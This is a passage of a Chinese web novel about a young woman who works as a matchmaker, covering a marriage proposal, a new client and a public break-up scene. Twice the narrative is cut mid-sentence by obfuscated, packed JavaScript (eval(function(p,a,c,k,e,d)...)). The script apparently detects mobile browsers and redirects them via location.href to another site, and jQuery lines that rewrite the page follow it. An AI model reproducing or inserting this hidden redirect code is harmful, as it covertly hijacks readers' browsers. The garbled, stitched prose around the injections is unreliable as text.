杜海看见明晞回来，立马站起身，明晞赶紧摆手：“杜同志你坐、你坐。” 她给自己倒了杯水，一边喝，一边用眼睛叽里咕噜地看着杜海。 杜海今天穿了一身深蓝色工装，应该是从轧钢厂过来的，大中午的从厂里过来，肯定是重要的事儿。 不过看他满面春风的样子，应该是件喜事儿。 明晞眨巴眨巴眼睛，直接问：“怎么，杜同志今天过来，是有什么好消息要宣布？” 杜海抬手摸摸后脑勺，憨笑着说：“嘿嘿，那个，是有喜事，我跟左英准备结婚。” “准备结婚？”明晞：“那可是好事啊！” 她就猜杜海过来应该是说结婚的事儿。 虽说两个人才刚认识不久就决定结婚有些迅速，但这年头差不多都是这样的，相看看对眼，两边都满意，就收拾收拾准备结婚。 谈恋爱谈个好几年还不提结婚的事的，那才是少数。 杜海嘿嘿笑着说：“我跟左英年纪都不小了，而且我们俩的婚事都有人盯着呢。” 他这说的是自己姑姑和左英叔叔。 杜海：“再加上，我和左英都觉得我们俩挺合适的，所以就想尽快把婚事定下来，省的时间长再出什么幺蛾子。” 明晞点点头，这话说的对。 明晞：“那你今天过来是……” 杜海：“我想请你帮我上门提亲。” 他说：“其实彩礼陪嫁那些，我跟左英都商量好了，她不要我的彩礼，我也不要她的陪嫁。不过商量好归商量好，该走的流程还是要走一下的。” 说到这里，杜海有些无奈，他苦笑着说：“我们俩本来就没有长辈帮忙操持，要是流程也都省了，外面的人还不知道要说什么呢。” 明晞点点头，这倒是。 她想了想，点头答应下来：“行，那我就陪你走一趟。你跟左英说好，什么时候提亲没？” 杜海：“说好了，这个礼拜日去提亲，五一办婚礼。” 现在差不多四月中旬，距离五一也就半个月，时间虽然紧点，但是婚礼简单办的话，还是来得及的。 明晞：“行。” 杜海见明晞点头答应下来，喜上眉梢，对着明晞连声道谢，谢完又塞给明晞一个大红包，说是谢媒礼。 明晞收下，等杜海离开以后，她打开一看。 好家伙。 杜海还真没少给，红包里面足足有五十块钱。 换成别人，谢媒礼给的多，不是亲家难搞，就是对方的要求高，要等着媒人费心说和。可是杜海和左英这都已经商量好了，明晞过去就走个过场，他还给这么多，明晞是真真的不好意思。 不好意思归不好意思，但钱还是被明晞揣进口袋。 她拿着红包进屋对着赵素兰好一阵显摆：“妈，看见没，杜海给的谢媒礼，五十块钱呢，你说媒这么多年，收到过这么高的谢媒礼吗？没有吧？嘿嘿嘿，看看我，刚干这行没几天，就收到了，我厉害吧？” 她这嘚瑟的小模样，相当的讨打。也就是明晞面前的是赵素兰，要是换成别人，指不定就忍不住打她了。 赵素兰倒是相当的捧场：“厉害，不愧是我赵素兰的闺女，就是厉害，就是脑袋好使，也会说话，别人干了几十年的媒人也没你这么厉害。” 明晞扬着脑袋，得意地翘尾巴。 时间很快来到礼拜日，明晞一大早就收拾好出门，她到左英家附近的时候，杜海已经在等她了。 明晞跟杜海打了声招呼，两个人一起往左英家走去，因为是礼拜日，厂里的工人休息，明晞和杜海踏进左英家院门的时候，就被院里人发现。 “诶，你们是干嘛的？” 一个短头发的姑娘看着明晞两个人警惕的问。 明晞笑着说：“我们是来左家提亲的。” “来左家提亲的？！” 对面姑娘声音一下提高八个度，院里邻居一下就被这声音吸引出来。 左英跟杜海相亲的事儿没往外传，因此院里的人直到现在都不知道左英要结婚的事。 迎着大家好奇八卦的眼神，明晞带着杜海走进左英家里。 左英知道杜海今天要上门，早早的就打开大门等着两人，提亲毕竟是件喜事，她身上少见的穿了件大红色的鸡心领背心，红艳艳的毛衣衬得左英面色也带上绯红。 一看见明晞两人，左英立马笑着迎两人进门：“来来来，快进屋坐。” “小桃，快，给你明姐姐和杜哥哥倒水。”左英对着自己妹妹吩咐道。 明晞下意识把目光投向左桃，也就是左英的妹妹。 上次她来的时候，左桃上学还没回来，所以今天是明晞第一次见到左桃。是个很可爱的小姑娘，个子不算高，约莫到明晞肚脐眼那么高，头上扎着两个鸡毛辫。 听到左英的吩咐，小姑娘乖乖的点头，拔腿小跑着钻进厨房去倒水，明晞笑着坐下，杜海把东西放下也坐下。 毕竟是第一次登门，他带了一网兜罐头和一网兜香蕉。 这两样东西放几十年后不值钱，但是放现在，可还是很稀罕的。尤其是香蕉，放在现在可是高档水果，在北方是很少见的。 杜海特意托关系才买到这么一网兜香蕉的。 左英眼神扫到黄澄澄的香蕉上，立马就知道杜海肯定没少费心，她嗔了杜海一眼，说：“你怎么买这么多，咱们自己家吃，随便买两斤就够了，买这么一大把，吃不完不是浪费了？这玩意齁老贵，浪费多可惜。” 虽然被左英说了，但杜海脸上止不住的笑脸。 左英说自己家吃。 嘿嘿，他被左英划为自己家的范围里。 杜海一想到着，就忍不住的冒傻笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明晞帮忙哄小桃：“小桃别害怕，小明姐姐去你杜哥哥家里看过，你杜哥哥家更大，更宽敞，而且你杜哥哥家里还有一个跟你差不多的妹妹能跟你一块玩。” “妹妹？”小桃眼睛瞬间亮起来。 杜海赶紧接话：“对对对，哥哥家里有一个跟你差不多大的妹妹，她跟你还是一个学校的呢。” 左桃把脑袋从左英身后探出来：“那她叫什么名字啊？” 杜海：“她叫小玉，杜小玉，你认识她吗？” “杜小玉我认识，她就在我隔壁班。”左桃扯着左英胳膊：“姐姐姐姐，杜小玉就是我之前跟你说过的……” 因为杜小玉，杜海和自己未来小姨子快速熟络起来，没一会儿，左桃就扯着杜海衣角亲热地说话去了。 杜海：感谢妹妹！ 在左家待了一上午，又蹭了一顿中午饭，明晞事办完，人也吃饱喝足，便准备离开。 她从左家出来，就被左英院里的邻居围住。 “哎，姑娘，你刚才过来是说来左家提亲的对吧？” “是给左英提亲的吧？” 明晞抬眼朝问话的人看去，寻思着问的什么问题。 左家一共俩人，不是给左英提亲，难不成还是给左桃提亲？ 可做个人吧，左桃还是个小学生呢！ 边上人也觉得这话问的有问题：“呸呸呸，瞧你这话说的，什么玩意啊，我来问我来问。那个，姑娘，你是陪你哥哥过来提亲的？那你家大人呢？” 哥哥？ 明晞一脸黑线：“什么哥哥？” “我是媒人，带着男方来提亲的！” 19. 何大妈打脸了 “媒人？！” “就你一个小姑娘？！” 一圈邻居听到这话都愣住了。 有人用怀疑的眼神看向杜海，这小伙子该不会有什么毛病吧，不然怎么请这么一个年轻的小姑娘来当媒人？ 直到有人认出明晞来，“哎，不对，我瞅着你挺眼熟的，你是赵素兰的闺女吧？” 明晞勾着嘴角，露出一个浅浅的微笑：“对，我是赵素兰闺女。” “嗷嗷嗷，赵素兰闺女啊！” 边上有人问：“赵素兰闺女咋了？” “你不知道啊，赵素兰，就是轧钢厂食堂的那个赵素兰，她闺女就是最近去杜海家，直接找杜海问他行不行的那个……” “哦，就是发现杜海他姑姑使坏的那个对吧！” “对对对，就是她……” 围着的人七嘴八舌的议论着，没想到啊没想到，明晞一个看着年纪轻轻，漂漂亮亮，不知事儿的小姑娘，竟然干了这样的大事。 这个时候大家也认出来，跟着明晞上门提亲的人不正是杜海吗！ 人群好奇八卦的眼神从杜海身上扫过，接着凑到一块交头接耳去了，明晞和杜海倒是没有在意这些，迈开步子就离开左英家院子。 杜海提亲的消息瞒不住，很快就在轧钢厂这一片扩散开来，转天明晞起来洗脸的时候，就听见院里的何大妈在议论这件事。 “哎，小明来了！”何大妈看见抱着脸盆牙缸的明晞挥挥手，八卦地问：“小明，杜海和左英的事儿是你给介绍的？” 明晞打了个哈欠，点点头。 有人好奇打听：“小明，杜海给左英多少彩礼啊？肯定没少给吧？” “估计不少，杜海自己能挣，而且杜淑英上次不是赔给杜海五百块钱吗？” “我问小明呢，小明你说说，杜海到底给了多少彩礼……” 明晞：“没给。” 她揉揉头发，睡眼惺忪地说：“杜海没给左英彩礼，也没要陪嫁。” 嚯，这话出来大家都是一愣，没给彩礼？他们虽然不是那拿女儿卖钱的人，但是结婚不给彩礼，这不合适吧。 明晞：“杜海和左英家里都没有长辈，彩礼和嫁妆给过去，也是左手倒右手，最后还是给两个人带回自己小家的。两个人一商量，索性也不费那事，直接不要彩礼和嫁妆。” 这事儿也不是什么秘密，稍微一打听就能打听出来，明晞也就没有瞒着，直接说出来。 大家伙听了这话，倒是点起头来。 别说，还真是这个理。左英和杜海家里没有长辈，彩礼给了最后也得带回两个人的小家，白倒一回怪费事的。 不过点头归点头，让他们嫁闺女的时候不要彩礼肯定是不行的。 毕竟不是谁家都给杜海家一样，上面没有长辈，同辈也没有兄弟，一嫁过去就能当家做主的。 这样想着，大家多少有些可惜。 可惜当初杜海托明晞介绍对象的时候，他们错过了！ 何大妈是最后悔的，她都找上明晞了，就是可惜去晚了，找到明晞的时候，杜海和左英已经看对眼了！ 她这后悔的肠子都青了。 等明晞洗漱完，准备回家的时候，何大妈就悄悄跟上明晞的脚步。 明晞察觉到何大妈的小动作，停住脚步，疑惑地问：“何大妈，你找我有事？” 何大妈干笑：“那个，是有点事……” 看她不好意思说的样子，明晞点头：“行，那咱们进屋说。” 她领着何大妈回屋。 何大妈在屋里坐下，明晞：“何大妈，您找我什么事？” 何大妈干笑：“呵呵呵，那个，小明啊，你还记得我上次跟你说，我娘家有个侄女不？” 明晞点头：“记得。” 何大妈：“那个，就是我娘家侄女今年二十了，还没对象呢，我想请你给她介绍个对象。” 何大妈说这话的时候，很是不好意思。 毕竟上次明晞说要给她侄女介绍的时候，她可是拒绝了，现在看明晞给别人介绍成，她有巴巴找上来，属实有点太打脸。 何大妈感觉自己脸都在发烫。 幸好的是，明晞听懂这话，并没有翻旧账，而是神色自然的说：“那何大妈您跟我说说您侄女的情况，还有她想找个什么样的对象。” 何大妈悄悄舒一口气，幸好明晞没提之前的事。 要是明晞知道何大妈的想法，肯定要告诉她看，你想多了。 找上门让她介绍对象的，那都是给她送钱的顾客。就算觉得何大妈找上门这件事打脸，她也不可能直接就说出来啊。 何大妈：“我娘家侄女今年二十，不是我王婆卖瓜，她盘靓条顺，可是我娘家那一票有名的漂亮闺女。她之所以二十都没嫁人，是因为眼光高。” 她叹口气，说：“我弟弟弟媳都是老实人，跟那些重男轻女，不把自家闺女当人，糟蹋自家闺女的人不一样。所以我侄女虽然是女孩，但也上了高中，是我们那一片，少有读了高中的姑娘。就是她运气不好，高中毕业没考上大学，家里也没背景没人脉给她在城里找工作，她没办法，最后还是回生产队去了。也是因为这个，生产队里不少人笑话我弟弟，说他们白花钱让闺女读高中，最后不还是要回村里种地。风言风语听多了，我侄女就死了心要嫁个城里人，狠狠打那些嘴碎的人的脸。但是……” 何大妈话没说完，但明晞明白她的意思。 但是现在一个乡下姑娘想嫁到城里并不容易。 别的不说，就说定量。 现在还是票证时代，一个人的口粮都是有定量的，每个月固定就发那些粮票。粮票不够吃怎么办？那就去黑市买高价粮去。 只有城里户口是有定量的，乡下户口是没有定量的，就算嫁到城里，那乡下户口也依旧是乡下户口，是没有粮本，分不到粮票的。 更别说现在孩子的户口都是要跟着母亲的户口走的，娶一个乡下的媳妇儿，生下来的孩子户口也是乡下的。 这影响可就大了。 因为这个，城里人就不愿意娶乡下姑娘。 明晞斟酌了一下：“何大妈，这么说，你娘家侄女就一个要求，就是嫁给城里人，除了这个别的都没要求？” “那倒也不是。”何大妈：“我侄女肯定是想正经跟人过日子的，所以还是得找个正经过日子的人。” “人穷点，家庭条件差点都无所谓，最重要的是正经过日子的人。那些动不动就出去吃喝嫖赌的，又或者动不动就打女人的可不行！” 何大妈一脸焦急，就怕自己说晚了，明晞就给她侄女介绍那样的人。 明晞“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005735|178219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噗嗤”一声笑出声：“何大妈您放心，我肯定不是那样的人。” 她补充：“我的意思是，要是有那种二婚的，或者身上带点残疾的，你侄女愿意吗？” 何大妈表情抗拒：“最好还是不要吧。” 她舔了舔嘴唇，说：“说实话，我侄女一个黄花大闺女，还是高中毕业，家里家外干活也是一把手，家里人也都不是那狠心的人。要不是她自己死心眼，非要嫁到城里来，她爸妈都是没想过要这事的。” 明晞明白了。 何大妈侄女的要求看似只要求是城里人，但其实吧，对其他方面的要求也不低。 她想了想，说：“行，您这活我接了，我这几天就帮您寻摸寻摸合适的小伙子。不过还有件事得跟您说，您什么时候方便，给我一张您侄女的照片。” 何大妈点头答应下来。 她掏了十块钱塞给明晞，当做介绍费，明晞收下钱，两个人又聊了两句，何大妈便起身离开。 明晞拿着钱转身去找赵素兰显摆：“妈，你猜刚才谁来咱们家？” 赵素兰虽然早就听出来人的声音是谁，但还是配合道：“谁呀谁呀？刚才有人来咱们家了？” 明晞：“嘿嘿，是何大妈过来了。” “何大妈来找我给她侄女介绍对象。”她得意地摇尾巴，哼哼唧唧说：“我上次说给她侄女介绍对象，她还不要，现在还是找过来了吧。” 赵素兰：“那说明老何还是有眼光，知道你能给她侄女介绍对象，找过来还不晚。” 明晞：“哼哼哼，也是。” 明晞得意好一会，人也清醒了，她揉揉脸蛋，说：“妈，你起来收拾吧，我去换身衣服，换好咱们去医院。” 赵素兰已经在家养了快两个礼拜，今天是跟大夫约好复查的日子。 赵素兰在床上躺了这么长时间，躺得骨头都酥了，早就想下床活动活动，但是明晞不允许。 明晞把她看得死死的，哪怕她一个劲儿的说自己腰没事，一点都不疼，但明晞还是严格地看着她下床活动的时间，只要她下床超过二十分钟，就立马把她轰到床上去。 她想出去跟院里人唠闲嗑都不行。 这会儿终于能出去放风，赵素兰立马一骨碌爬起来。 她麻溜地收拾好，等明晞收拾完，两个人一块出门。 母女俩没在家吃饭，出门去国营饭店吃了顿早点，才奔着医院而去。 到医院，医生给赵素兰做检查，看着对方面无表情的样子，赵素兰和明晞的心都提起来。 好在医生检查完没说什么，只说赵素兰恢复得不错，让她以后也注意保养，不要做剧烈运动，小心再复发。 听到医生的答复，赵素兰长舒一口气，脚步轻快的从医院离开。 明晞：“妈、妈你慢点，大夫刚才不是说不让你剧烈运动吗？” 赵素兰摆手：“嗐，这算啥剧烈运动！” 她拉着明晞：“这段时间你照顾我辛苦了，瞅瞅你这小脸都瘦不少，走，咱们去百货商店，妈好好给你买点吃的补补！” 明晞：啊？ 她吗？ 她脸都瘦了吗？ 她怎么感觉自己最近天天蹭赵素兰的骨头汤喝，喝的脸都大了两圈呢？ 不过，买好吃的。 还是可以有的！ 20. 偶遇 明晞赵素兰母女俩手牵手往百货商店走，快到百货商店门口的时候，突然就看见，路边围了一圈人。 赵素兰眼疾手快，抓着明晞立马就挤了进去。 这么多人围着，没准是卖什么稀罕东西呢。 自打年初开始，这条街上经常有背着包袱卷过来摆地摊的，怕被抓投机倒把的抓到，这些人卖一会儿，东西卖得差不多就撤。所以这些小摊也是可遇而不可求的，遇上好东西那就是赚了。 赵素兰估计这么多人围着，卖得肯定是好东西，谁想挤进去就傻眼了。 人群中间站着三个人，就只有三个人，没有东西。 感情不是卖东西的。 赵素兰一下就失去兴趣，讪讪的准备撤出去，就在这时，明晞伸手扯扯她的衣角。 “妈，你看，孙大妈和她闺女。” 赵素兰定睛一看，可不，人群中间站着的，不正是孙秀珍和黄萍萍嘛！ 黄萍萍骨折还没好，这会儿还拄着拐呢。 她再往边上一瞅：“嘿，这不是黄萍萍那个倒霉的对象吗。” 明晞眨巴眨巴眼睛，眼神在人群中的男人身上扫视一圈。 这就是黄萍萍对象啊？ 嗯，长得确实还行，挺人摸狗样的。 不过他一开口就让人感觉挺不是人的。 “萍萍听话，我不是说了吗，我已经原谅你了，你也别闹气了，咱们和好。对了，上次你妈说给我安排坐办公室的工作，她什么时候去联系人啊，车间那破活我实在干不下去，今天辞了，你赶紧催催你妈，快点把工作给我安排好吧。” 明晞：？？？ 前面两句还像是人话，但后面直接图穷匕首见了是吧，直接要上工作，还是坐办公室的工作？ 她就没见过脸这么大的男的！ 黄萍萍这几天冷静下来后，对冯帆早就没有之前那么痴迷，这会儿听到这话，一下子睁大眼睛。 “冯帆，你有病吧，我妈凭什么去给你安排工作？” 冯帆就像是看不懂事的孩子一样，责怪的看着黄萍萍：“你还没消气，还要跟我闹气啊？行吧行吧，闹气就闹气，但正事你别耽误，你也不想让你对象我以后没工作吧？” 不等黄萍萍说话，冯帆又把视线落在孙秀珍身上，他倒是一点不客气，直接说：“孙阿姨，你别在意，萍萍就是跟我闹着玩，她舍不得跟我分手的。对了，那个工作，我听说水务局宣传科这段时间就在招干事，您看看把我安排过去怎么样？” “嘶——” 听到这话，明晞倒吸一口凉气，冯帆可真是敢开口，水务局的干事，那可是干部编制，水务局招人都限定是中专毕业或者是大学生。冯帆一个初中毕业的开口就让孙秀珍把他安排过去，也属实是敢开口。 孙秀珍这会脸黑得不像样，之前为了让黄萍萍跟冯帆分手，也是没想到，之前为了让她闺女跟冯帆分手，给了冯帆几个好脸，就让他飘成这样。 还水务局的干事呢。 他怎么不说他想当美国总统呢？ 黄萍萍更是气得颤抖。 就算是傻子也看出来，冯帆找她的目的。 她一张脸气得涨红，指着冯帆鼻子说：“滚滚滚，你给我滚，我们早就分手了，你有什么脸找我家要工作？” 冯帆笑得一脸自信，一点没把这话当回事：“萍萍别闹，咱们俩处对象这么长时间，你连吵架都不舍得跟我吵，怎么可能舍得跟我分手。” 他一边说，一边摸着下巴，对黄萍萍露出一个油腻笑容，接着用压低八度的声音说：“乖萍萍，相信我，我比你更了解你，你舍不得我的。” 明晞：“呕、呕……” 她旁边的赵素兰也一脸菜色。 这好好一小伙子，怎么说起话来这么……这么…… 这么腻歪！ 就跟大夏天生吞了五斤猪油一样腻歪。 见过不少世面的赵素兰都这么觉得，更不要说在场的围观群众们，大家伙搓着胳膊，感觉掉了一地鸡皮疙瘩。 有人的视线飘到黄萍萍身上，能跟冯帆这样的人处对象。 这小姑娘估计也是有点什么毛病在。 黄萍萍：！！！ 她这下是真的气哭了：“你滚蛋啊！我都说了跟你分手，就是跟你分手，你再纠缠我，我就报公安，让公安把你抓起来！” 冯帆皱眉，没想到黄萍萍会这么说。 黄萍萍看他还不走，一狠心，直接作势要去报公安：“你还不滚是吧，那我现在就去找公安！” 说完她拄着拐杖挪着就要往派出所走，冯帆看她是来真的，瞬间就怂下来，不过他还是不死心。 倒不是舍不得黄萍萍，而是舍不得差一点到手的工作。 他拽着黄萍萍胳膊，哀求道：“别，萍萍别。” 冯帆眨眨眼睛，尽力装可怜：“我知道你还在生气，但你别用分手离开惩罚我。我这些天心里全是你，吃饭的时候想你，睡觉的时候也想你，想你想的睡不着。” “你看……”冯帆上前半步，指着自己眼睛下面说：“你看，我黑眼圈都这么重了。” “你放开！” 黄萍萍是一点也不信冯帆的话。 说冯帆的黑眼圈是出去鬼混熬出来的，她还相信，说是想她想的，呵，骗鬼呢！ “哎，你这男同志咋回事，人家姑娘喊你放手你怎么还不放手？” “就是就是，我们这听半天了，人家姑娘都跟你分手，你还纠缠人家，让人家给你介绍工作，你要不要脸啊？” “一看长相就知道是个小白脸，当然不要脸了……” 冯帆跟黄萍萍纠缠的时间太久，边上围观的人都看不下去，出声声援黄萍萍。 明晞看热闹不嫌事大地喊：“姑娘，你要是不方便报公安，我帮你去喊公安过来！” 黄萍萍闻声看过来，在看到明晞后，眼睛瞬间亮起来，她刚要喊明晞名字就被孙秀珍使劲扯了一下胳膊。 黄萍萍也不是真傻，瞬间就明白她妈的意思，她装作不认识明晞的样子，高声喊：“好，麻烦这位同志你帮我去派出所喊一下公安，我……” 黄萍萍话还没说完，冯帆就松开手。 冯帆表情不好，他这会儿已经意识到，黄萍萍不再是之前那个，他说什么就 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她一个没站稳，差点啪叽坐在地上，好悬明晞眼疾手快，冲上来一把抱住了黄萍萍。 黄萍萍骨折本来就美好，要是再摔一次，伤上加伤，保守估计得再住一个月的院。 黄萍萍只感觉自己身上一轻，双腿脱离地面，然后落在一个香软的怀抱里，等到反应过来是明晞接住自己的时候，她脑海里只有一个想法。 “明晞你、你力气还挺大的。” 明晞愣了一下，接着咧开嘴，露出小虎牙，笑着说：“嗯，天生的。” 她倒是没唬黄萍萍，她上辈子天生力气大。不过这个力气大倒也不是夸张的跟武侠小说里那种一拳千斤那么厉害，只是比正常人要强一点，比如五六岁的时候就能扛起跟她差不多高的五十斤的大米。 明晞也没觉得这是多稀罕的事儿，除了在大学的时候想过以后要是找不到工作的话，可以去工地搬砖之外，压根没把这事儿放心上。 却没想到穿越过来之后，这项技能也跟过来了。她一开始怕赵素兰发现异常，还没敢把自己力气大这件事表现出来。 后来是时间长，不由得露出几分马脚，赵素兰也没有奇怪，倒是让她想起来，原主好像也是天生的大力气。 微妙的巧合太多，明晞忍不住思量起，自己和原主是不是有什么关联。 可是想了半天，她也没能想明白这个事儿，最后也只能算了。 咳咳，话题扯远了，说回当下。 明晞看黄萍萍傻愣愣的窝在自己怀里不出声，忍不住戳戳黄萍萍：“怎么了？你哪不舒服？” 黄萍萍回神，红着脸要摇摇头：“没有不舒服。” 话出口后她反应过来自己还窝在明晞怀里呢，赶紧松开手，从明晞怀里钻出来。 她拨拨头发，理理裙子，收拾一番，红着脸，结结巴巴地道谢：“那个，明晞，谢谢你啊。” 明晞：“嗐，这有什么的。” 她眨眨眼睛，说：“你要是真想谢我，就多介绍几个你身边要找对象的年轻人给我吧。” 她可是很缺生意的。 21. 介绍 黄萍萍一噎，她噘着嘴说：“你还真是热爱你的媒人事业啊！” 明晞骄傲：“干一行爱一行嘛。” 黄萍萍噘着嘴嫌弃道：“你年轻轻一个女同志，干什么不好，怎么就非要干这个，说出去都不好听。” “喂，你是不是找不到工作啊？”黄萍萍下巴抬得高高的，十分不屑地说：“你要是找不到工作跟我说啊，正式工我不一定能给你安排，但帮你找个临时工还是可以的。” “哇，你要帮我找工作啊，这么好？”明晞猛地贴近，黄萍萍能清楚的感受到明晞呼吸的热气，她眼神躲闪。 “什么啊，才没有！” 黄萍萍：“我、我、我就是看你没有工作可怜罢了！” 明晞看着黄萍萍从耳根子到脖子都布满红晕，轻笑着退后一步，拉开两个人之间的距离：“好好好，我知道你是看我可怜。” “不过。”她话锋一转：“还是不用麻烦啦，我干媒人干得挺开心的。而且你别小瞧我哦，我媒人事业干得挺成功的，今天早上还有人上门找我介绍对象呢。” “谁知道是真的还是假的。”黄萍萍嘴上这么说，眼睛却直直地看着明晞，似乎是想听明晞多讲一点。 明晞却没有往下说的意思，她越过黄萍萍，看向她身后的孙秀珍，笑着问：“孙大妈，你们今天出来买东西啊？” 孙秀珍：“啊对，出来买点东西。” 她问：“你跟你妈也来买东西啊？” 明晞点头：“我刚跟我妈去医院复查完，大夫说没事了，所以我们出来买点好吃的庆祝庆祝。” 孙秀珍这才看到明晞身后的赵素兰：“哎呀，那可是好事儿，是该好好庆祝庆祝。” 她说：“老赵你可别舍不得吃舍不得喝，好好把身体调养好才是最重要的、” 赵素兰：“你说的是。我这也是生了场病才明白过来啊……” 孙秀珍跟赵素兰关系不错，赵素兰住院那会儿，两个人净凑到一块说话，这会儿见到，两个人自然而然又凑到一块说话去。 明晞想拽着赵素兰离开都不行。 最后明晞赵素兰回家的时候，身后还跟着孙秀珍和黄萍萍两个跟屁虫。 孙秀珍跟着回来，是因为听说赵素兰做衣服手艺好，想请赵素兰帮忙做件衣服。 黄萍萍纯粹跟过来凑热闹的。 一行四人回到大杂院，刚进家门没多久，明晞就听见自家房门被敲响。 当时明晞正在给黄萍萍倒水，腾不开手，便喊：“黄萍萍你帮忙开下门。” 黄萍萍应了一声，起身去开门，她拉开门，跟一张陌生但莫名眼熟的面孔对上，来人看到开门的黄萍萍一愣，他退后一步，似乎是在确认自己有没有走错。 确认过自己没找错后，他开口：“同志你好，我找赵大妈，赵素兰赵大妈是住在这里的吧？” 对方个子要比黄萍萍高一个头，黄萍萍仰着头看着他：“对，赵大妈住这里。” 她刚要迎对方进门，倒完水的明晞就走过来了：“谁来了啊？” 在看到门口的人后，明晞：“呀，吴振生，你怎么过来了？” 听到这个名字，黄萍萍瞬间想起自己为什么觉得对方眼熟。 之前明晞给她介绍过吴振生，还给她看过吴振生的照片。 虽然面前的男人不知道这件事，但一想到这事儿，黄萍萍还是忍不住红了脸。 明晞倒是没注意到黄萍萍的异样，她正跟吴振生说话呢。 吴振生是来找明晞问介绍对象的事儿。 明晞赶紧解释：“我妈前阵子腰受伤，在床上养了一阵子，给你介绍对象这事就耽误了。不过我帮你留意着呢，有合适的我会第一时间通知你的。” 吴振生：“你？” 明晞：“对，我，我也干给人介绍对象的活，前两天我刚撮合成一对，不信你问她。”她手一指黄萍萍。 黄萍萍结结巴巴地说：“啊，对、对，是有这个事。” 吴振生微微侧头看向黄萍萍，视线交汇的瞬间，黄萍萍不由得脸红起来。 吴振生一个二十多岁的男的，面对黄萍萍一个年轻漂亮的的女同志，脸也不由得红起来。 他立马转过头来，脸上的红晕还没散去，结结巴巴地说：“那个，我知道了，我没别的事先走了，后面有消息，明同志你再通知我吧。” 明晞笑眯眯地点头，等吴振生离开，一脸戏谑地看向黄萍萍，打趣道：“喂，人都走半天了，就别盯着门口看了。” 黄萍萍一张脸红得跟个红苹果一样，她跺着脚说：“什么嘛！你瞎说什么呀！我才没盯着门口看呢！” 明晞托着下巴：“哦，你没盯着门口看，也没脸红，都是我看错了。” 黄萍萍清楚明晞是在故意逗自己，她气得伸手朝明晞胳膊上打去：“你够了啊！” 明晞嬉皮笑脸地闪身躲开，嘻嘻哈哈地说：“你要是真对吴振生有意思，你就跟我说呀，我给你们俩介绍。” “不过你要是对他没意思，也无所谓，我正好可以把他介绍给我们院何大妈侄女。何大妈今天特意来找我给她侄女介绍对象来着。” “你别！” 对上明晞似笑非笑的眼神，黄萍萍才意识到自己说了什么。 “好啊，你就是故意等我这么说的是吧？”黄萍萍也不傻，很快反应过来明晞就是故意在逗自己。 明晞这次倒是没再逗黄萍萍，而是爽快地点头。 明晞：“怎么样，要不要我帮你约吴振生出来相看？” 黄萍萍红着脸，咬着下唇，扭扭捏捏半天，最后小声说：“那、那你跟他说说，找个时间出来见见呗……” 明晞：“行！” 她笑眯着眼，凑到黄萍萍身边：“怎么样，吴振生是不是挺好看的，比照片还好看？” 黄萍萍绞着手指，她这人虽然容易害羞，不过倒是实诚。 “嗯，是比照片上好看，个子高，身材也好。”黄萍萍忍不住打听：“他有多高啊，有一米八几吧？我感觉他比我高一个头呢！” 明晞：“这我 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明晞还是挺惊讶的，现在不少长辈都还是老观念，讲究父母在不分家。吴家二老竟然能同意吴振生搬出去住？ 吴振生像是看懂明晞眼里的疑惑一样，主动解释：“我家孩子多，我爸妈顾不过来，家里也住不下，要是能搬出去给家里减轻负担，我爸妈高兴还来不及呢。” 明晞点点头。 吴家孩子确实多。 吴振生：“不过租房肯定不是长久之计，我也考虑过，我现在是学徒工，这两年肯定是分不了房，不过等过几年，应该能有分房资格。能分到最好，要是分不到也无所谓，我这几年打零工的钱都攒着呢，现在我工作也稳定下来，再攒两年，实在不行就花钱买个房子。” 他笑笑，说：“我想着，我自己一个人都无所谓，但结婚之后，总不能让媳妇跟我一起居无定所吧。” 明晞不由得挑挑眉。 放在当下，吴振生能这样想还挺难得的。 “这样挺好的。”明晞点点头，说起正事：“我过来是说介绍对象的事的。我这边有个合适的女同志，来你这之前，我也问过对方的意见，对方对你挺感兴趣的，想跟你见面看看，这样，我给你介绍一下，你看看你是怎么想的。” 她开始介绍：“说起来还挺巧，要给你介绍的女同志，你今天也见过，就是你来我家找我的时候看见的黄萍萍黄同志。” 她说：“黄同志她爸是机械厂车间主任，她妈是百货商店的售货员，她自己在机械厂宣传科工作。” 吴振生一听这个，就有些犹豫：“不是，黄同志家里条件这么好，她、她能看上我吗？” 明晞笑：“我不是都说了，她对你挺有兴趣，想跟你见面看看，我才过来的吗？” 吴振生还是有些不安。 毕竟黄萍萍的条件实在是太好了一些。 说实话，他确实有想过找个条件好点的姑娘吃软饭，但是黄萍萍条件太好。 他感觉自己吃软饭都有点不够格呢！ 22. 吃软饭的自觉 大杂院熙熙攘攘，不是小孩的叫声，就是大人的笑骂，吴振生抿着嘴，别别扭扭地问。 “小明同志，黄同志是看上我什么了？” 不论是工作，还是家庭条件，黄萍萍都甩他一大截，他着实是有些自卑。 明晞笑：“哎，吴同志，你也别这么自卑嘛，你长得还是很好看的。” 吴振生一愣，随机从绯红从脸颊爬到脖子根。 他摸摸自己的脸，好看吗？黄萍萍喜欢他的长相吗？ 吴振生诡异地产生一抹庆幸，幸好他长得还挺好看。 要不然黄萍萍也看不上他。 短短几秒，明晞就看着吴振生表情几经变换。 也不知道这人在想啥呢。 明晞：“所以你是怎么想的，要不要跟黄同志见见？” 她说：“你要是不想跟对方见面的话，我就回去回绝对方。” 吴振生想了想，说：“那就见一面吧。” 明晞：“行，那我一会儿就去问问女方什么时候方便见面，等约好日子我再来通知你。” 吴振生点头。正事说完，吴振生没留明晞寒暄。家里地方太小，总不能拉着明晞站在门外闲聊吧。 明晞倒是也不介意这个，她摆摆手就从吴振生家里离开，她除了院门，没回家，径直奔着黄萍萍家去。 她到黄萍萍家的时候，黄家人也都吃完饭了，她几次上门没见到的黄父也在家，此时正端坐在沙发前面，拿着一份报纸看。 明晞进门，先跟孙大妈和黄父打了声招呼。 